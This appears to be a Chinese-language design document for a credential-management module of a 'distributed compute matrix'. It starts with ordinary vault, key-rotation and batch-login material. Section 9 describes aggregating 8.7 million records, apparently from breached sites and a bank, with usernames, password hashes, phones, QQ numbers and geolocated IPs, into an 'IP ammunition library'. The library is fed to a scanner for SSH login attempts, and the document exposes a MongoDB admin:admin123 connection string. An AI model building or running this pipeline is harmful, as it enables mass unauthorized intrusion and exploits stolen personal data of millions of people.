Files
2026-02-15 23:43:01 +08:00

12 KiB
Raw Permalink Blame History

name, description, triggers, owner, version, updated
name description triggers owner version updated
账号密码管理 分布式算力矩阵 - 凭证统一管理(账号密码/SSH密钥/API Token+ IP用户RFM资产库含地区/手机/QQ 账号管理、密码管理、凭证、密钥管理、credential、IP用户、分布式矩阵IP、RFM、地区 卡若 2.1 2026-02-15

02_账号密码管理

核心任务:安全、高效地管理所有节点的登录凭证,支撑快速登录部署 新增IP用户RFM资产库KR.分布式矩阵IP为扫描模块提供IP弹药库


一、模块概述

账号密码管理模块是分布式算力矩阵的「安全基座」,统一管理所有节点的登录凭证,实现一处管理、处处可用,同时确保凭证安全不泄漏。

二、功能架构

                    ┌─────────────────────┐
                    │   凭证管理中心       │
                    │  (Credential Vault)  │
                    └──────────┬──────────┘
          ┌───────────┬───────┴───────┬───────────┐
          ▼           ▼               ▼           ▼
    ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
    │ SSH密钥  │ │ 账号密码 │ │ API Token│ │ 证书管理 │
    │ 管理     │ │ 存储     │ │ 管理     │ │          │
    └──────────┘ └──────────┘ └──────────┘ └──────────┘

三、凭证类型

1. SSH密钥对

项目 说明
生成 Ed25519推荐/ RSA-4096
存储 ~/.ssh/ + 加密备份
分发 自动推送公钥到目标节点
轮换 每90天自动轮换
# 生成SSH密钥对
ssh-keygen -t ed25519 -C "matrix-node-$(date +%Y%m%d)" -f ~/.ssh/matrix_key

# 批量推送公钥
python scripts/push_ssh_keys.py --hosts hosts.json --key ~/.ssh/matrix_key.pub

2. 账号密码

项目 说明
加密方式 AES-256-GCM
存储格式 SQLCipher加密数据库
主密钥 本地keyring / 环境变量
分类 SSH/RDP/Web/Database/API

密码策略

  • 长度 >= 16位
  • 包含大小写 + 数字 + 特殊字符
  • 自动生成随机强密码
  • 禁止明文存储

3. API Token / Access Key

项目 说明
类型 Bearer Token / API Key / OAuth
作用域 按节点/按服务/按权限
有效期 可配置过期时间
刷新 支持自动刷新Token

4. 证书管理

项目 说明
类型 TLS证书 / 客户端证书
用途 节点间加密通信
管理 自动续期提醒

四、凭证数据库结构

-- 主机表
CREATE TABLE hosts (
    id INTEGER PRIMARY KEY,
    ip TEXT NOT NULL,
    hostname TEXT,
    os TEXT,
    group_name TEXT,
    status TEXT DEFAULT 'active',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 凭证表(加密存储)
CREATE TABLE credentials (
    id INTEGER PRIMARY KEY,
    host_id INTEGER REFERENCES hosts(id),
    cred_type TEXT NOT NULL,  -- ssh_key / password / token / cert
    username TEXT,
    encrypted_value BLOB NOT NULL,  -- AES-256-GCM加密
    port INTEGER DEFAULT 22,
    priority INTEGER DEFAULT 0,  -- 优先使用的凭证
    expires_at TIMESTAMP,
    last_used TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 凭证使用日志
CREATE TABLE credential_logs (
    id INTEGER PRIMARY KEY,
    credential_id INTEGER REFERENCES credentials(id),
    action TEXT,  -- login / deploy / test
    result TEXT,  -- success / failed
    detail TEXT,
    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

五、核心功能

5.1 凭证录入

# 单条录入
python scripts/cred_manager.py add --host 192.168.1.100 --user root --type password

# 从扫描结果批量导入
python scripts/import_hosts.py --from ../01_扫描模块/results/assets.json

# 从CSV批量导入
python scripts/import_hosts.py --csv hosts.csv

5.2 凭证验证

# 验证单台主机凭证
python scripts/cred_manager.py test --host 192.168.1.100

# 批量验证所有凭证
python scripts/cred_manager.py test-all --parallel 50

# 输出验证报告
python scripts/cred_manager.py report --output cred_report.json

5.3 快速登录

# 通过凭证库快速SSH登录
python scripts/quick_login.py --host 192.168.1.100

# 交互式选择主机登录
python scripts/quick_login.py --interactive

# 批量执行命令
python scripts/batch_exec.py --group "linux-nodes" --cmd "uname -a"

5.4 凭证轮换

# 轮换指定主机密码
python scripts/cred_rotate.py --host 192.168.1.100

# 批量轮换SSH密钥
python scripts/cred_rotate.py --type ssh_key --all

# 查看即将过期的凭证
python scripts/cred_manager.py expiring --days 30

六、脚本清单

脚本 功能 说明
cred_manager.py 凭证管理主程序 增删改查、验证、报告
import_hosts.py 主机导入 从扫描结果/CSV导入
quick_login.py 快速登录 自动匹配凭证登录
batch_exec.py 批量执行 批量远程命令执行
cred_rotate.py 凭证轮换 自动更换密码/密钥
push_ssh_keys.py SSH密钥分发 批量推送公钥
cred_backup.py 凭证备份 加密导出/导入

七、安全规范

规范 说明
禁止明文 所有密码/Token必须加密存储
最小权限 每个凭证仅授予必要权限
审计日志 所有凭证使用记录可追溯
定期轮换 SSH密钥90天、密码60天、Token按需
备份加密 凭证备份文件必须加密
环境隔离 主密钥不入库,通过环境变量/keyring

八、配置文件

config/cred_config.yaml 示例:

vault:
  db_path: ./data/credentials.db
  encryption: AES-256-GCM
  master_key_source: keyring  # keyring / env / file

policy:
  password_min_length: 16
  ssh_key_type: ed25519
  rotation:
    ssh_key_days: 90
    password_days: 60
    token_days: 30
  
auto_test:
  enabled: true
  interval: 3600
  parallel: 50
  timeout: 10

backup:
  enabled: true
  path: ./backups/
  encrypt: true
  keep_days: 30

九、IP用户RFM资产库分布式矩阵IP

9.1 概述

从本机 MongoDB 全库扫描,提取所有含真实 IP 地址的用户数据,统一字段 + RFM评估后写入 KR.分布式矩阵IP 集合,作为分布式算力矩阵的IP弹药库

9.2 数据源8个集合 → 1张统一表

# 来源数据库 来源集合 IP字段 数据量 含账号密码
1 KR_KR 木蚂蚁munayi_com regip/lastip 115,529 username + MD5
2 KR_KR 房产网 regip 119,340 username + MD5+salt
3 KR_卡若私域 老坑爹论坛 lkdie.com regip 89,316 username + MD5+salt
4 KR_卡若私域 老坑爹商店 shop.lkdie.com loginIp/createdIp 662 nickname + Base64+salt
5 KR_卡若私域 黑科技 quwanzhi.com ip交易IP 5,108 支付账号
6 KR_商城 小米 xiaomi_com ip 8,278,197 username + Hash+salt
7 KR_国外 卡塔卡银行_用户档案 LAST_LOGIN_IP 105,561 USERNAME + 加密凭证
8 KR_国外 卡塔卡银行_审计主表 LOGON_IP 28 BASE_NO
合计 8,713,741

9.3 统一字段Schemav2.0

KR.分布式矩阵IP
├── username        - 用户名
├── email           - 邮箱/账号
├── password        - 密码(哈希值)
├── salt            - 盐值
├── region          - 地区(国家|省|市GeoLite2-City定位
├── country         - 国家
├── province        - 省/州
├── city            - 城市
├── phone           - 手机号从verifiedMobile/email/username提取
├── qq              - QQ号从@qq.com邮箱/纯数字用户名提取)
├── ip              - 主IP地址优先lastip其次regip
├── ip_reg          - 注册IP
├── ip_last         - 最后登录IP
├── ip_public       - 是否公网IPBoolean
├── source_db       - 来源数据库名
├── source_col      - 来源集合名
├── reg_time        - 注册时间
├── last_active_time- 最后活跃时间
├── R_score         - Recency 近期活跃度1-5分
├── F_score         - Frequency 活跃频率1-5分
├── M_score         - Monetary 贡献值1-5分
├── RFM_total       - RFM总分3-15分
├── value_level     - 价值等级(高/中高/中/低/流失)
├── user_type       - 用户类型(重要价值/保持/发展/挽留/一般)
├── roles           - 角色(如有)
├── extra           - 扩展字段uid/posts/credits/密码类型等)
└── extracted_at    - 提取时间

9.4 关键统计v2.0

指标 数值
总文档数 8,713,741
公网IP数 8,702,991
内网IP数 10,750
有省份定位 2,643,051 (30.3%)
有城市定位 2,593,669 (29.8%)
有手机号 29,176
有QQ号 747,603

地区TOP10

省份 用户数
广东 566,068
上海市 355,226
北京市 268,026
江苏 187,040
浙江 144,850
四川 127,868
山东 122,760
陕西 104,230
福建省 93,066
湖北 82,757

9.5 查询示例

// 连接
mongosh "mongodb://admin:admin123@localhost:27017/KR?authSource=admin"

// 查看公网IP用户带密码+地区)
db.分布式矩阵IP.find({ip_public: true, password: {$ne: ""}}).limit(10)

// 按来源统计(含地区/手机/QQ覆盖率
db.分布式矩阵IP.aggregate([
  {$group: {_id: "$source_col", count: {$sum: 1},
    has_region: {$sum: {$cond: [{$ne: ["$province", ""]}, 1, 0]}},
    has_phone: {$sum: {$cond: [{$ne: ["$phone", ""]}, 1, 0]}},
    has_qq: {$sum: {$cond: [{$ne: ["$qq", ""]}, 1, 0]}}
  }},
  {$sort: {count: -1}}
])

// 按省份查询
db.分布式矩阵IP.find({province: "广东"}).limit(10)

// 按城市查询
db.分布式矩阵IP.find({city: "泉州市"}).limit(10)

// 查找有手机号的用户
db.分布式矩阵IP.find({phone: {$ne: ""}}).limit(10)

// 查找有QQ号的用户
db.分布式矩阵IP.find({qq: {$ne: ""}}).limit(10)

// 查找高价值用户
db.分布式矩阵IP.find({RFM_total: {$gte: 10}}).sort({RFM_total: -1})

// 导出指定省份的公网IP供扫描
db.分布式矩阵IP.distinct("ip", {province: "广东", ip_public: true})

9.6 提取脚本

脚本 路径 功能
extract_ip_users_rfm.py scripts/extract_ip_users_rfm.py 全量提取+RFM评估+写入KR.分布式矩阵IP
# 重新执行全量提取(会清除旧数据重建)
python3 scripts/extract_ip_users_rfm.py

9.7 与扫描模块联动

02_账号密码管理                     01_扫描模块
┌─────────────────────┐           ┌──────────────────────┐
│ KR.分布式矩阵IP      │           │                      │
│ ├── 431万去重公网IP   │──导出IP──▶│ IP段扫描 → 端口扫描    │
│ ├── 用户名/密码       │──凭证库──▶│ SSH登录测试            │
│ └── RFM价值评估       │──优先级──▶│ 高价值IP优先扫描       │
└─────────────────────┘           └──────────────────────┘

9.8 IP字段扫描报告

详见:references/MongoDB_IP字段扫描报告.md全库29个数据库扫描记录
库/集合结构、作用与索引优化:references/MongoDB_分布式算力矩阵_数据库结构说明.md;索引补齐脚本:scripts/ensure_matrix_indexes.py